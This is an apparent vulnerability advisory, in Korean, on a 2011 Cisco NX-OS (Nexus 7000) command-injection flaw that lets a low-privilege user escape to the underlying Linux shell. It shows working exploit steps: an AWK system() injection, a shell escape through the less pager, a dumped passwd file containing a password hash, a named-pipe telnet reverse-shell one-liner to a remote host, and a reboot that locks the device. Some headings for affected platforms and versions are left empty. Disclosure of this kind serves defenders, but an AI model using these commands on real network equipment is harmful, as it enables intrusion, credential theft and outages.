
공개된 보안 취약점, 연구 및 관련 정보.
로컬 접근이 필요합니다. 그러나 권한이 없는 계정도 기본 Linux 운영 체제에 접근할 수 있어 사실상 장치에 대한 완전한 접근 권한을 제공합니다. 이는 NOC 및 기타 직원이 1차 대응을 위해 낮은 수준의 접근 권한을 부여받는 환경에서 문제를 일으킬 수 있습니다.
이 문제는 Nexus 7000 플랫폼에서 발견되었습니다. 다음 플랫폼에도 영향을 미치는 것으로 추정됩니다:
section 명령어는 요청된 문자열이 전달되는 AWK 스크립트로 보입니다. 그러나 입력이 올바르게 정화되지 않는 것으로 보입니다. 결과적으로 AWK를 사용하여 Linux 하위 시스템에서 임의의 명령을 실행할 수 있습니다.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
이를 사용하여 bootflash의 모든 파일을 삭제하고 시스템에 'reboot' 명령을 내릴 수도 있습니다. 그러나 Linux 하위 시스템에서 재부팅하면 실제로 장치를 리로드하는 대신 장치가 콘솔에 메시지를 쏟아내고 잠기게 됩니다.
다음 소프트웨어 버전에 영향을 미치는 것으로 추정됩니다:
예를 들어:
switch# sh clock | less
less가 표시되면 콜론(:)을 누른 다음 "e"를 눌러 파일 경로를 지정하면 파일을 열 수 있습니다.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
그러나 이것 역시 읽기 전용 접근에 불과합니다. 하지만 "|"(파이프) 다음에 "$" 키 매크로를 사용하면 명령을 실행할 수 있습니다.
!ls -lah > /bootflash/20110715
아래와 같이 boot-flash에 파일이 생성되었습니다.
switch# dir
97 Jul 15 12:01:44 2011 20110715
이 방법을 사용하여 다음 명령으로 NX-OS Linux 하위 시스템에 원격 셸을 구축할 수 있었습니다:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
reboot 명령도 유효한 입력으로 받아들여집니다. 그러나 장치를 재부팅하는 대신 콘솔에 오류를 쏟아내면서 시스템이 잠기게 됩니다.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):